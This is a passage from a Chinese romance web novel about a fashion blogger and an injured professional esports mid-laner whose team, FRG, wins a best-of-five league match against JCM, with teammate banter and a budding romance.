“天啊,这是怎么了?”吧台员忍不住惊讶。 路过的人都放慢了脚步,看着眼前的这幕闹剧。 透过格栅,祝愉看到那张略微苍白的脸上接连出现不可置信、慌张和羞愤的表情,终于,她哭了,似是不敢相信最疼自己的妈妈会打她。 宋照站在周琴旁边,烦闷地撇开视线,宋明也是脸色青黑,双手背在身后,在原地走动。 没一会儿,有两个警察从前台后面的房间出来,跟宋明说了几句话后径直离开。 离得太远,祝愉听不清他们在说什么,在思考要不要过去跟他们打声招呼。 “祝愉。” 声线清澈干净,打断了她的念头。 祝愉回头,俞述和一个穿着干练的女人一并走来。 “那我先上去找王总了。” “好。” 女人转头笑着跟祝愉打了声招呼,越过他们,从大堂中间穿过,上了电梯。 “你是来找我的吗?”俞述两手背后,走近。 “嗯……我来找阿良的。” “哦。” 声音中带着落寞,但祝愉没有注意。 “我看看你的手怎么样了?” 俞述一直背着手,她也看不见,便伸长胳膊,示意俞述把手伸出来。 男人一顿,面上有点不自然,嘴唇抿起,好似有些紧张。 祝愉也不合时宜地发现了自己的逾越,尴尬地捏了 捏手指,准备收回,没想到视线一转,一只缠满绷带的手递到祝愉的手中。 指尖触碰,突然多了一丝粗糙感,祝愉愣了一下,下意识地手指蜷曲,半握住搭在她掌心的手。 那本就白皙的手在绷带的衬托下显得更加惨白,一股药味也从中散出。 许是姿势过于僵持不适,俞述顺着祝愉的那点力气,慢慢靠近,坐在她的旁边。 两人距离很近,近到祝愉的发丝都随着主人的动作,缓缓滑落下来,轻轻贴在俞述的小臂上。 一阵痒意顺着他的胳膊,四处延伸,连带着胸口的位置都传来点点麻意。 “怎么缠了一圈绷带呀?是不是更严重了?” 他低头,祝愉更多的头发垂落在他的胳膊上,熟悉的苹果香气从她的身上散开,丝丝缕缕缠绕着他。 她靠得更近,俯下身子仔细地看着那只手。 俞述将呼吸放轻,压着嗓音解释,“没有严重,手好了很多,不是很疼,缠绷带是不想被看到瘀伤……会很麻烦。” 祝愉不敢碰那一块受伤的位置,只能双手轻轻捧起,企图透过绷带看清里面的样子。 “那明天的比赛是不是打不了了啊?” 手都成这样了。 “要打。”语气肯定。 祝愉犹豫了一下也没有问为什么,她心里其实早有预感,俞述肯定不会像网上说的因为这个而休息不打或者退赛。而且关于比赛的决定,她作为不相干的人也不好过问。 两人再度沉默,正好吧台员端着一杯柠檬水走来,放到祝愉面前,打破了这份安静。 她顺势放下俞述手,端起杯子喝了一口,掩下心中的摇摆。 想起俞述刚从医院回来,不知道渴不渴,祝愉便问了句,“你要喝吗?” 俞述看了眼祝愉手中的玻璃杯,里面飘着几片柠檬,还插着一根吸管,点点红色的唇印落在吸管口。 察觉的俞述的目光,祝愉发窘,忙解释道:“我看你嘴有点干,想问你要不要喝什么,我请你。” 说完,祝愉尴尬的撇过头,用手摸了摸鼻尖,但又闻到了残留在她手上的药味,脑海里浮现着她刚刚拉着俞述的手的一幕,一时间,慌张的手不知道往哪放,只能无措地揪着衣服下摆。 俞述舔了一下唇,想说点什么,却被赶来的阿良打断了。 顶着那道有压迫感的眼神,阿良结结巴巴地问他怎么在这。 “我不能在这吗?”俞述闭了闭眼。 “我就问问……” 祝愉起身,提起脚下放着的袋子,伸手递给阿良。 “这是什么?”俞述抬头,眼睛直勾勾地盯着两人的动作。 “给你买的衣服。” “那为什么不直接给我?” 手中一滞,祝愉反应了过来,对啊,俞述就在旁边啊。 “没事没事,我提着就行了,你手正好不方便。”阿良很善解人意地说了句。 俞述站起身,声音拉平,“我右手方便。” 伸手像是索要。 阿良嘴角微抽,这时候跟他争什么啊。 祝愉心里发笑,但还是拽着袋子没有全部递给俞述,看着那双困惑的眼睛,她解释了句,“还有几袋是给阿良和薰薰他们买的。” “行,我拿我的,你拿你的。”阿良忍着没笑。 他发现这小子一见到祝愉就有点失智,跟他们认识的那个沉稳克制的天才中单完全是两模两样,现在都开始有小孩子脾气了,难得啊,真难得。 祝愉看时间也差不多了,便准备跟两人告别,不打扰他们后面的训练。 “衣服我给你买了好几套,都是搭配好的,你想换着穿也可以,反正你穿什么都好看……”祝愉暗搓搓地夸了句俞述,但她是真心实意地觉得俞述穿什么都好看,天生的衣服架子。 长得很高,一米八几,肩膀宽,腰窄,腿也长,身上还自带一种冷感。要是俞述不打职业去当模特,那也是模特圈里的香饽饽。 到时候,她怎么说也要想办法把俞述绑过来当她的搭档…… 17. 第17章 下午一点,FRG几人陆续起床洗漱,顶着个鸡窝头赶去另一层训练室吃饭。 “这啥啊?”灼忧嘴里塞着饭,嘟囔着看阿良提来的纸袋。 “愉姐买的,给你们穿的。”阿良手下忙着找自己的饭,没有抬头,祝愉走后他先过来了,俞述还在跟王总他们谈事。 “愉姐?”灼忧刚起床,脑子还是钝的,半天没反应过来是谁。 薰薰嫌弃地看了他一眼,说道:“就是祝愉姐啊,你别穿了,给我穿,什么人啊,都请我们吃过饭,这你还记不住。” 说着就要把那一袋衣服都拿走。 “不行!这是祝愉给我的!”灼忧夸张地怒吼,与薰薰抢手里的衣服,嘴里的饭沫子直喷,恶心的薰薰大叫。 “给你什么?”俞述打开会议室的门就听到了这一句。 “给他爱的礼物。”五七看热闹不嫌事大。 “我靠你他丫的少害我。”灼忧猛地松手,薰薰那个小身板摔了个大马趴,他也没管,指着五七威胁,“你小心我开局直接跟中路,再也不跟你了。” “我是清白的!”灼忧又转头看向俞述。 俞述笑笑没说话,侧身给门外的黄优和王好好让路,刚刚闹腾的几人突然安分了不老少。 “还想着不管射手?把你能的,不听指挥就下了你。”王好好坐下后翘了个二郎腿半开玩笑道。 灼忧哀怨地瞪了眼五七,另一边坐着的始作俑者低头憋笑。 等俞述进来后,其余几人才发现他身上的违和。那只光滑白净的手上此时缠绕着绷带,整个手掌都被裹得严严实实,看不见一点皮肉,像是cos木乃伊一样。 “怎么伤得这么严重?”飞渊凑过来皱眉问道。 昨晚他们还在打巅峰赛,俞述就被91叫到房间去谈事,结果一宿都没回来,早上醒来后他们才知道发生了什么,心惊肉跳了半晌,全都跑去给俞述打电话,当时听他那个描述,他们还以为只是普通的擦伤。 “他妈的这群人是不是有病啊?” 五七都不敢碰俞述的手,只能小心翼翼地捏着外套边提起来看了眼。 “还能用吗?到时候需不需要我帮你控制移动键?” 俞述收起胳膊,靠在椅子上,举起左手晃动,向众人展示五指的灵活程度,语气轻松,“没什么事,又不疼,不影响打比赛。” “啥不严重啊,这绑个绷带看起来就很恐怖啊。”薰薰像是感同身受,表情痛苦。 王好好咳了咳,坐直解释道:“其实是看起来比较严重,我们想着遮一遮别让粉丝看到了,到时候解释说不小心蹭掉了一层皮,防止感染才弄的绷带。” “这谁会信啊?”灼忧皱着眉。 “我还是拆了吧,不知道的会以为我真的断手了。”俞述嗤笑,边说边拆手上的绷带。 “诶,那你还记得怎么缠吗?万一等会儿还得缠上去。” 王好好提了一嘴,只见一圈一圈的绷带落到桌面,那只被包裹了几小时的左手重见天日,赤裸裸地展现在他们面前。 “……” 众人沉默了一阵后。 “要不你还是缠上吧。”薰薰吞了口唾沫,这看着也太吓人了。 那受了伤的手背微微肿起,大面积紫黑色淤血从手指根部蔓延至手腕,虎口处都有些肿胀。 “咋回事?我盯着你一直冰敷呢,咋还更严重了呢?”91纳闷道,睡前没这样啊。 “可能太白了。”俞述扯了扯嘴,早上起来就这样了,黄姐看见之后一直在叫,非要拉着他去医院再检查一遍。得到的结果是正常的现象,冰敷只能消肿,淤血这种就只能慢慢等了,急也没用。 最后在俞述的强硬坚持下,绷带进了垃圾桶,他说缠上影响手感。虽然弯动手指还会有点胀痛,但他能接受,没到不行的程度。 几人又开了个小会说了一下这次的突发状况会怎么处理。虽然外界现在闹得沸沸扬扬,但因为没结案,加上私生的事又不好界定。临近比赛,王好好决定暂时先不出公告,比赛结束之后再发声明。 另一个就是通知他们赛训的决定,俞述继续上场,赛前临时换人百害而无一利。 如果换人之后,这次比赛赢了还好,要是输了,俱乐部和选手的舆论压力也很大。 “这群神经病……”五七愤懑拍桌,“她们到底想干什么啊?有意思吗这样?” 整天一点隐私都没有,还把俞述的手弄伤了。 王好好没有多说,安抚了几句便起身离开了。 91觉得有些不对劲,起身跟出去后问了王好好一句,才得知公告的事是俞述他自己提的。 看着91意味不明的眼神,王好好尴尬地说:“肯定不会推着让他自己去跟粉丝解释的,再怎么说这事做错的又不是他,是那些私生的问题,我这只是先让他别纠结这个,安心打比赛,比赛结束之后我一定让黄优那边出声明,行吧?” 俞述来FRG两年多都不怎么麻烦他们,一有什么事也是自己解决。倒不是说俞述不合群,而是他太为团队着想了。赛场胜负永远在他的第一优先级,他自己的情绪和私事都被他排在很后面,别人想多照顾他,都被他躲开或者拒绝。 刚来FRG的一个赛季之后,王好好也有问过他为什么会这样做,俞述还有些诧异,沉默了半天,只说了一句—— “不想打扰别人。” 王好好也不知道以前KG是怎么跟他说的,让他觉得俱乐部就是提供他机会让他上场打比赛的,其他什么事也不管……俱乐部怎么可能会这么冷血无情呢? 不说别的,光从商业价值上来说,俱乐部肯定是愿意为他多着想的。 听完解释,91勉强同意,王好好继而跟91聊了几句赛训的事。 李由上一星期刚来就跟他们管理层开了个会,提到这次第一轮比赛结束后会根据选手状态进行人员调整,尤其是跟JCM的比赛,他会着重观察。 李由认为上一赛季和这次的第一轮比赛中队伍存在的问题很大。 想着先不要给选手施加额外的压力,王好好就瞒着没给他们说,但是没想到赛前出了这么大的意外。 91也想了一天,他之前担心团队配合不如JCM,但是现在他最关心的是俞述的状态和李由会撤谁的首发。 王好好心里也不是个滋味,安慰他,“这次赛训负责人更换的事我压力也很大,黄优那边都准备了好几套公关方案,就等比赛结束之后公布了,这次赛中换赛训还可能要换选手的事肯定有很多人接受不了,到时候消息一出,粉丝肯定第一个不满,挨骂的还是我们这些高层,包括你。” “但赛训变动是老板直接任命的,我也管不了多少,原想着只能拖一步算一步,我私心还是希望这几个人继续打下去,就这五个人不变,但现在好像也由不得我了。” 如果能让队伍变得更好,有夺冠的实力,即便他们因为各种原因而坚持不换人,那也是对想拿冠军的选手和粉丝的不负责,这又何尝不是另一种固执和不懂得变通。 两人心事重重,但也只能按王好好说的,走一步算一步了。 …… 会议室内,阿良从角落提出几袋衣服,他没有俞述的房卡,那会儿王总急着找俞述,他只能接过衣服一起拿过来了。 “我靠,凭啥你的有裤子啊,还全都是整套的!”薰薰眼尖,一个袋子里装着两套衣服,连袜子和首饰都搭配齐全了。 “有没有穿不上的,可以给我穿,我溜肩。”灼忧凑过来问道。 “应该没有,我瞅了眼都是他穿的尺码。” 阿良想搞点事,故意道:“她怎么知道你的尺码的?” “衣服尺码正确。”灼忧扯出吊牌。 “裤子尺码正确。”薰薰补充道。 “哦哟~不得了啊!!!” 几人抱作一团开始尖叫。 看着俞述危险的眼神,阿良咳嗽了一声,正声道:“记起来了,是春决的时候知道的。” 祝愉当时负责的是俞述的服装造型。 91在门外抽了几根烟,本来就烦的心,进来之后看着乱糟糟的桌面,简直气不打一处来,大声喊道:“懒驴拉磨屎尿多,吃饭吃这么慢是想着明天输给JCM吗?敢输给他们,你们就 给我走回基地!麻利点给我收拾好,半小时后准备训练!” “遵命。”稀稀拉拉的声音响起,几人笑嘻嘻地开始收拾桌子。 91完全就是笑面虎,好的时候很好,各种开玩笑都接受。但是一生气,简直就是火山爆发,脸红脖子粗,见谁骂谁。 阿良帮着收拾,看了眼刚刚才开始吃饭的俞述,几分钟就已经见底了,再一回头,俞述已经盖好盒饭盖子,把桌上的垃圾扔进袋子,拿着湿巾擦桌子,动作麻利且迅速。 跟往常没什么不同,手也是,阿良才放心地提着垃圾袋出去了,不打扰他们训练。 没一会儿,里面便传来熟悉的训练声音,一直持续到晚上。 …… 锦州这几天的天气还不错,下午的光线正合适,祝愉也很快地结束了拍摄,看了一下素材没什么问题后,娜娜便带着她们去吃烤鱼。 “样片我大概后天发给你,你挑几张OK的我P就好了。”娜娜嘱咐道。 “好。” 祝愉吃得有点心不在焉,一直在看微博,眉心拧着就没松开过。 小香知道她在看FRG的帖子,尤其是在警局看见的那个男生,祝愉对他格外关注。 她嗅到了一丝不同寻常的气味,之前小竹姐让她找代拍买FRG的队服时她就觉得不对劲,但也只是暗暗猜测,没想到小竹姐居然跟那个打电竞的重明认识。 昨天她远远地看着两个人在一起,男帅女美,还挺养眼的。 娜娜坐在对面看着这两人,表情完全相反,一喜一忧,不知道心里都在想什么事。 “小竹,你是不是谈恋爱了啊。”娜娜忍不住问了句。 “我吗?”祝愉一脸疑惑,她还没谈上呢。 “是啊,你这个表情我只在朋友恋爱后纠结要不要跟男朋友发消息的时候见到过。” 祝愉有些许尴尬,但还是解释了一句,“没有,我没有谈恋爱,但……确实有喜欢的人。” “是谁啊?”娜娜兴致勃勃。 她跟祝愉是大学的时候认识的,但却从来没有听祝愉说过谈恋爱的事,结果现在冒出来这么一个人……实在是太好奇了。 祝愉低头笑了一下,“如果我们能在一起,我就告诉你。” “什么啊?搞得这么神秘。” “难道他长得很帅?可是你也很美啊!”珊珊表示不理解。 “他人气很高,不方便说。”祝愉想了一下解释道。 “比你高吗?是哪个网红?还是小明星?你形容一下我感觉我能猜到。”珊珊进入侦探模式,“但是现在男网红什么的,粉丝量都虚高,作不了什么数的。” “是不是那个给你买过咖啡的?” “哪个?”祝愉没有这个印象。 “那看来不是。”珊珊自顾自地继续往下猜。 “杨琛?” “薛准一?” “许林文?不对不对,你拒绝过他。” “我拒绝过他?”祝愉一脸茫然,这是什么时候的事,她怎么从来不记得,而且这些人她也不怎么熟,就只合作过一两次,珊珊是怎么联想到他们身上的。 “嘶……好像确实没听你说起过他们,但他们嘴里常念叨你呢。”珊珊回忆了一下,“我给他们拍照的时候,他们老跟我提起你,那个许林文还说他找你表白过,你还拒绝了他。” “我连他微信都没有我怎么拒绝他?”祝愉瞪大眼睛,“我们就合作过一次,说过两句话。” “你好和辛苦了。” “啊?那他还说的那么深情和伤心。” 祝愉完全不知道这些人是哪里来的,要不是今天珊珊提起,她可能永远不会知道。 “麻烦以后帮我辟谣。”祝愉狠狠戳了一块烤鱼里的锅巴土豆,“我有男朋友了。” “你不是还没追到吗?这么自信啊。” “不,不是自信,是以绝后患。” “行吧。”珊珊点了点头,“那你俩在一起了一定一定要第一时间告诉我好吧。” “没问题。” 到时候她可能会憋不住昭告全天下的。 18. 第18章 比赛当天,场馆外围满了粉丝,个个翘首以盼。 在这样的等待中,FRG的车驶进场地,稳稳停在人群外两米处。 门开,率先下车的是教练组,主教练91面色难看,让第一排的粉丝心中一凛,不禁暗暗揣测发生了什么。 “出来了!” 人群哗然,所有视线全部集中到那辆大巴车。 一道熟悉的身影不紧不慢地出现在众人眼前。 俞述左手插着兜,环顾周围,向到场的粉丝打招呼。 虽然神态中带着些职业选手常见的疲惫,但总的来说状态还不错,周围人极其明显的松了一口气。 …… “你那拉个脸干啥,这不吓人呢吗?” 王好好刷到91阴沉着脸走向场馆的视频,底下有人猜测是不是队内出了问题。 “狗屁,我下车的时候谁给我绊了一脚,我差点从那上面滚下去,都快给我吓得心脏骤停了,我难道还要吊个脸搁那笑吗?我又不是智障。” 91正坐在化妆镜面前捯饬发型,他感觉今天发胶抹得少了,这刘海都没支棱起来,看起来焉了吧唧的,不符合他今天必胜的决心。 俞述的手恢复得不错,疼痛感没有刚开始那么强烈了,他觉得bo5能打下来。 但91还是心存顾虑,想赢是不假,但如果俞述真的不能坚持打完整场,即便突然,他也得换烁安上去。 这场比赛关乎常规赛第二轮的分组情况,FRG目前3战2胜,跟JCM胜负数相同,两队咬得很紧,FRG如果顶住压力赢下JCM,那么有望靠自己锁定S组,反之就看其他队伍给不给机会。 粉丝对FRG寄予厚望,这场比赛要是输了,全体丧失上网权,指不定要被其他队粉给嘲讽成什么样。 尤其是上一场输给SNG这支年轻的队伍,身为明星选手的俞述,自然成了背锅位。 被年轻小将对位、天才中单即将让位……嘲讽的话数不胜数。 人云亦云,全是看热闹的,哪管你局内的操作,只要输了,逮着机会就开喷,这几天网上一片血雨腥风。 粉丝也是憋了一口气,决绝地说:这场要是输了给我走回海市,腿断了都得爬回去。 场外,祝愉正在排队进场。 她心里无端生出一股压抑的感觉,闷闷的,像是在她胸口处塞了一团棉花,丝丝络络,呼吸都没有那么利落。 她今天比之前看比赛的时候还要紧张。 她紧张俞述的手会不会疼,她紧张这场比赛FRG会不会赢…… 掌心不自觉地沁出汗渍,连带着手里那张写着“FRG加油”的应援纸都有些许潮湿。 等坐到场馆里,她还是有一种恍然不实的错觉,直到选手出场,她的目光才定格在那张大屏上。 FRG几人站在舞台中间,俞述单手插兜,眼神凌冽,嘴角勾起一抹极淡的弧度,仿佛胜券在握。 周围持续尖叫,震耳欲聋。 无数人支撑着彼此,给足所有人信心。 欢呼声涌来,祝愉悬着的心终究落地,举起应援牌跟着呐喊。 …… 比赛快要开始,王好好进了另一个休息室,坐在李由旁边,两人都没话可说,静静地看向转播屏幕。 选手入场之后,现场的导播频频给俞述镜头,最近网上的谣言旗鼓宣扬,无数人都想要从他这张脸上挖掘出什么信息,但他整理好设备后就跟旁边的队友聊天,跟往常没什么不同。 线上看比赛的人见俞述的状态不错,心里升起一阵鄙夷,觉得现在的营销号嘴里没一句实话,选手照常打比赛,非要诅咒选手受伤退赛,到底什么心思啊。 但现场粉丝的视角不受约束,他们注意到俞述一直拽着左边的袖口,动作间有些不方便。 到最后,许是衣袖过于肥大,他无可奈何,只能把袖子向上挽起。 全场突然静了一瞬,包括导播都没有反应过来。 过了几秒,几个摄影全部围在俞述面前,现场大屏迅速切换。 一只布满瘀伤的手赫然被放大,就这样出现在众人眼前。 即便早有准备,但祝愉还是心口一揪,不能避免地生出疼惜。 这突如其来的画面让评论席的几人都跟着一顿,谈笑的话语结结巴巴没能说完整。 身处海市演播厅的陈词恩也跟着愣住了,没想到俞述受伤的小道传闻是真的。 包括李由都有些惊讶,转头看向王好好,沉声道:“俞述受伤的事为什么没有跟我说?” “就这两天的事,跟你说了能有什么用,你能让他的手一下子恢复好?” 王好好也有些怨气,这消息他压了很久,只等比赛结束才会发声明。 “那就可以直接让替补上场了。” 王好好眉毛一竖,怒喷:“你说话是不过脑子吗?快开始了你换人,想挨处罚吗?你是嫌俱乐部太清闲了非得找点事干是吗?” “我的意思是,后面的比赛让烁安上场,俞述的手不适合继续打比赛,这样已经是状态下滑了。” “状态?即便他状态下滑一大截,他都是断层级别的中单,现在年轻选手的实力青黄不接,能打出来的有几个?你说换就换了,在你眼里,什么才算是状态最好?你给我说一个听听。” “至少不是他现在这样。”李由简略道。 王好好懒得跟他多费口舌,两人的观念本来就不一样。 李由对比赛的那种纯粹的心他是能理解的,但是现在偏偏不能只有纯粹的心。 倒也不是王好好心狠,不体恤选手,但无关商业因素,他是最希望俞述能继续打比赛的人。 俞述在FRG的这两年,他都看在眼里。生活里除了比赛就是训练,其他的什么也不在乎,就是这种要强和执着让很多人对职业选手坚持打比赛的执念又有了一层新的理解。 受伤了就要休整,退下首发,但谁又想白白错过这短短两三年的巅峰期? 没人想。 俞述更不想。 他不接受因伤临阵退缩的自己,也不接受会拖队友后腿的自己。 对于他来说,既然能打,就没必要顶着风险换人,在受伤的情况下,他比谁都想赢。 状态什么的,上场打一次便是最好的证明,要输,那也是他的原因,扯不到别人身上。 王好好思及此,看了眼李由,心里唾弃,轴个腿轴,能不能替别人多想点,亏你还带过俞述,一来就想着下人首发。 许是察觉到王好好的鄙视,李由开口说了句,“如果这一大场输了,之后的比赛就让烁安上,怕输也得给我上。” “你随便吧。”王好好敷衍着不再搭理他。 …… 身为KPL天才中单、FRG最强大脑的重明,在比赛前夕受伤,先前光是谣言就已经在竞圈掀起一波狂澜,更何况是真的。 第一局比赛正在BP环节,网上已经天翻地覆吵成一片。 【woc,谁能告诉我俞述的手咋了???】 【FRG怎么回事?是怎么照顾的俞述?为什么会受伤成这样?解释呢!?】 【所以说那个营销号放的瓜是真的】 【他这手还能打吗?咋不上替补啊】 【这时候上替补是疯了吧,输了成背锅侠,赢了被毒唯追着骂,谁敢上啊,还不如让俞述自己承担去】 【我去,刚刚营销号又放出瓜,说是私生搞得】 【草,哪个私生,有号没,老子真的一天天忍他们忍得够久了】 【赶紧别吵了,快去看第一句BP吧,感觉FRG脑子被僵尸吃了】 …… 第一小局,FRG的BP被JCM处处限制,导致后出的中单已经没有合适的英雄可选了。 91的眼睛有些干涩,他闭了闭眼,让五七选择了杨玉环。 双方教练握手后下场,两边阵容一同出现在大屏上。 JCM上野中下辅依次是狂铁、橘右京、炸弹猫、艾琳和盾山,容错率高,有抗伤有输出。FRG的则是夏洛特、老虎、杨玉环、孙权和大禹…… 粉丝不能理解,这种强势阵容是怎么让JCM拿到的。 两队之间有对抗性吗? “估计十分钟就结束了。” 祝愉旁边的一个粉丝说道。 不出所料,前期FRG三线全劣,只拿到两个边路资源。 4分钟龙团点之后,FRG小团灭,中一塔也被推了。 6分钟杨玉环关键闪现眩晕橘右京,三个人包了对面打野,清完对面红区,两分钟追了近一千的经济。 但是9分钟,夏洛特带远端线太深被抓,FRG改变策略回包,大禹和杨玉环的控制是接上了,但是伤害不够,最后只带走了JCM的盾山,中辅却被JCM稳稳收下。 最后一波10分钟龙团,老虎拼惩没有拼过,JCM拿下暴君后趁着经济差迅速结束了比赛。 目前比分,FEG0:1JCM。 “送送送,就知道送,死了一个还不走,非得围上去,中午是没有睡醒就来了吗?” “这阵容也逆天,前期靠上野撑节奏,那你其他位置来点正常的英雄行不行,非得选强度低的。” 现场偶有几句抱怨,但都没有心思再骂,想着中单的手,心里堵着一口气不上也不下。 虽然知道JCM的团战处理向来很好,但没想到能够这么快结束比赛。 以往交手中,FRG和JCM势必会拖很久,彼此缠缠绵绵,难分胜负,说是相互克制也不足为奇。 稀稀拉拉的交流声中,第二小局比赛没过几分钟便开始了。 俞述捏了捏发麻的掌心,在耳麦里鼓励了大家几句,几人也是神色自然,氛围轻松,没有输了的沮丧。 这局双方阵容强度差不多,FRG这边的中路压制、野区进攻、单点突破要比第一局更紧凑,JCM无处下手。 但目前9分钟,双方未爆发人头。 解说席两人的语气也逐渐平缓了下来,珊珊干笑道:“看来这一局双方的意识博弈很成功啊,全靠运营换节奏,现在就是看谁先憋不住了。” “是啊,如果这个大场FRG要能拿下,那么是有望冲击S组的啊。” 话音刚落,JCM想在10分钟之前打一波中路掉点,但是重明的小乔反应极快,闪现避开了夏侯惇的锁,张飞极限套盾护着小乔撤离。 “看来急的是JCM啊,毕竟他们的中一塔可是最先没了得,中路本来就劣,这会想抢先机还没能抢成,真的是功亏一篑啊……” JCM节节败退,16分钟,FRG推掉水晶,拿下第二局比赛,MVP获得者是小乔。 第三小局,JCM胜,19分钟结束比赛,关羽拿下MVP,率先进入赛点。 第四小局,FRG胜,24分钟结束比赛,元坦拿下MVP,双方打平。 对局时间越拉越长,是对选手注意力的极大考验。 第五小局,也是决胜局的BP开始,现场一片安静,只有解说的声音环绕在场馆中。 大家都在暗暗祈祷,希望自己队伍能够拿下胜利。 祝愉也是,她希望FRG赢,希望俞述能赢。 现场镜头扫到一位粉丝的举牌,上面写着——FRG!S组的海报已做好,就等着赢了! …… “话说除了海月,安琪拉也算是重明的招牌英雄了,只不过最近一年不怎么见他拿这个英雄。我还记得KG时期,重明刚上场拿的就是安琪拉,二技能很准,配合队友一直在骚扰DG的野区,最后那一局还拿了MVP呢。” “对啊,很巧的是那一场的比赛解说也是我,现在看到这阵容有一种今夕何夕的错觉,因为我刚刚去查了一下,FRG和JCM的这套阵容跟那场比赛的阵容可是一模一样的啊!这又何尝不是一次阴差阳错呢?” “是吗?但是版本变动太多次了,英雄也有调整,不知道这次是否还能复刻当年的结局呢?还是说FRG拒绝重演KG结局,拿下这个大场的胜利?那么就让我们拭目以待吧。” 看到双方阵容的那一刻,俞述都有些恍惚,仿佛自己还是刚上场的新人。 他无声地勾起嘴角,双手重重按向眉骨。 这次会赢的。 19. 第19章 决胜局的拉扯最是折磨,跟一把锯子一样来回割粉丝的心,痛苦不堪。 比赛开始的几分钟后,双方粉丝已是奄奄一息,耗尽了力气,比台上坐着的几名选手还要苍白。 解说也是口干舌燥。 “安琪拉有点不走寻常路啊,队友在磨中一塔,重明一路藏着视野来到了JCM的二塔草丛……但是女娲紧贴另一边的墙在走,感觉蹲在这没什么用啊,距离还差点。” 解说的话音刚落,薰薰的杨戬卡着距离放了狗,女娲为了防止杨戬贴身,稍稍向旁边拐了一步,却被安琪拉抓住了机会,二闪开大单秒了女娲。 干脆利落。 现场尖叫一片。 10分钟,JCM的各路一塔全被拔除,野区接连失守。 13分钟,JCM只剩下高地塔。 14分钟,安琪拉二闪关键控制,FRG集火越塔带走双C。 16分钟,FRG推掉JCM水晶,MVP为重明的安琪拉。 现场的呐喊声直达比赛台,灯光聚焦于胜利者一方。 俞述摘下耳机,眼中闪烁,那张永远在赛场之外平淡的脸,也会因比赛的胜利而多了一抹彩色。 当今日积分榜公布时。 第二小组,FRG排名第二。 FRG四战三胜,只剩下最后一场与ZDG的比赛。 这场第一轮赛程的收官之战更是大热门。 重明与川,俞述与姜其然。 继春季赛败者组决赛之后,两位人气与实力并存的选手又要带领着两支队伍再一次争锋对决。 谁输谁赢,万众瞩目。 离开场馆,FRG大巴内。 俞述一个人坐在靠窗的位置发呆,手里把玩着什么。 “喏,喷雾剂还有药膏贴。” 窗边的人转头看向阿良。 “哪来的。”五七探头问了句。 阿良说:“愉姐送来的。” “啊?她怎么不直接给俞述啊?” “怕打扰他呗。” 祝愉比赛结束后就托他把东西给了俞述,说要盯着他用。 “唉,我也想有一个这么贴心的小姐姐来对我好~”灼忧爬在椅背望向俞述,八卦的雷达滴滴响。 “只能说就算有,你也不配。”五七惹眼地翻了个白眼。 “我靠,你什么意思?”灼忧将手里的空水瓶扔向五七。 五七接住,朝他做鬼脸,“就这个意思。” 没理会吵嚷的射辅两人,俞述接过袋子,里面还有祝愉写的便签纸,上面是几句叮嘱的话。 【膏药贴一天一贴,一共两贴;用完之后用喷雾剂,一天五次;之后要热敷!!!】 俞述嘴角勾起,将东西放进随身背的包里。 五七瞥见他还放了什么小玩意进去,十分惹眼地想要扯过背包看一看。 “干什么?”俞述反应很快。 “我看看你拿的啥,又不会吃了你。” “我知道那是什么!”薰薰兴奋,终于有他知道的点了,“那是一只小狗吊坠,一打完比赛他就拿出来捏着,我想玩玩都不行。” 每场比赛兜里都装着它,像是他专属的定心丸一样。 “你在哪买的啊?我也去买个,我女朋友特别喜欢这种小玩意。”五七兴冲冲地说道。 飞渊挑了挑眉,俞述又不可能去买这种东西,那就是…… “是祝愉送的。” 说完,俞述刻意错开众人暧昧的视线,低头不语。 “哦~那就不拿了,原来是定情信物啊。” “唉,我也好想有人给我送小狗吊坠啊~” 众人很乐意捧这样的场,能找着这种时机调侃一下俞述,简直是舒坦。 平时看他当队长作威作福的,现在倒是不好意思了。 坐在最前面的王好好纳闷地朝后看了眼,“祝愉?他们还有联系?” 91哼了一声,比赛赢了,他身上的担子都松了不少,开玩笑地说:“你现在还是让黄姐那边再琢磨一套恋爱公关吧。” 幸亏当时没发辟谣贴,要不就是疯狂打俱乐部的脸。 “什、什么意思?他俩就这么谈上了?” “那不然俞述在那害羞个什么。” “我就知道当场他俩那氛围不对。”王好好自作聪明地笑了一声,他那被内娱浸染十多年的顶级公关感应可不是白吹的。 赢了比赛,大家都很兴奋,车厢内叽叽喳喳一片,商量着等会要去哪里聚餐。 俞述起身拿着手机,避开嘈杂的声音,一个人走去后排。 车驶入隧道,刺眼的灯光模糊了视线,俞述拉住车帘,低头打开祝愉的朋友圈。 零零落落,很多都没有看。 或许是博主的习性,她经常在朋友圈里分享自己的日常。 最新的一条是五分钟前,图片上一只竖着呆毛的鹦鹉轻轻倚靠着女人的食指,模样乖巧。 配文——“这只小鸟好乖哦!” 俞述指尖滑动,向下翻看。 这段日子,俞述知道了她喜欢小狗,但是没有时间养;知道她喜欢探店,但是没有人一直陪她去;知道她喜欢绿色,但是别人说她穿蓝色更好看…… 碎碎念很多,像是说给别人听,也像是在说给自己听。 …… 十几分钟前,祝愉到了市中心,打算去买杯咖啡,正好路过一家杂货铺。 透过玻璃,她看见一只红色的鹦鹉站在门口的衣架上,歪着脑袋看向外面。 鬼使神差地,她推开门进去,门口的风铃声响起,里面传来老板的招呼声。 祝愉缓缓伸出手指,慢慢靠近这只鹦鹉,那双绿豆大的眼睛中闪烁着好奇,一人一鸟的距离渐渐缩小。 她的手稳稳停在那颗红色脑袋处,它没有躲闪,而是琢磨片刻,凑过脑袋蹭了蹭祝愉的手。 好乖哦。 “它居然不咬你。” 她收起手机回头看向来人,是一个眼睛很大的短发女人,鼻梁高挺,下巴圆润,脸上细密的皱纹很多,身上穿着工作服。 女人和善地对着祝愉笑了笑,“它刚来这的时候都不理我,哄了半天才愿意吃我切的苹果。” “它看起来很乖。”祝愉目光温润,语气放轻,怕惊扰到正在吃苹果的鹦鹉。 “但也很犟,明明是一直小鸟,还会跟人生气。” “会不会是在撒娇呢?” 女人愣了一下,随即笑着说:“这我倒是没有想到呢。” 走之前,祝愉又买了一堆东西。 走了几步,她想到了什么,站在原地编辑了一条朋友圈。 发送出去,最先评论的是陈词恩:【是哪只小鸟哦?[坏笑]】 还没等祝愉反应,俞述也跟着点赞了,评论紧跟其后:【确实很乖】 祝愉屏息,虽然此小鸟非彼小鸟,但她就是想着俞述才发的这条朋友圈。 这点小心思对于祝愉来说其实够明显了,她发这条朋友圈的时候还纠结了许久,但还是大着胆子发了出去。 那种想要他知道自己的感受又不想太明显的思虑紧紧占据在祝愉的脑海里,就怕只是自作多情。 悸动的心是最难以把握的课题,多想一点视为放肆,少想一点名为呆板。 怔愣之际,陈词恩拍了拍祝愉,调侃的话直达她的心窝。 【哦哟~到底是谁乖呀?】 【你乖你乖】 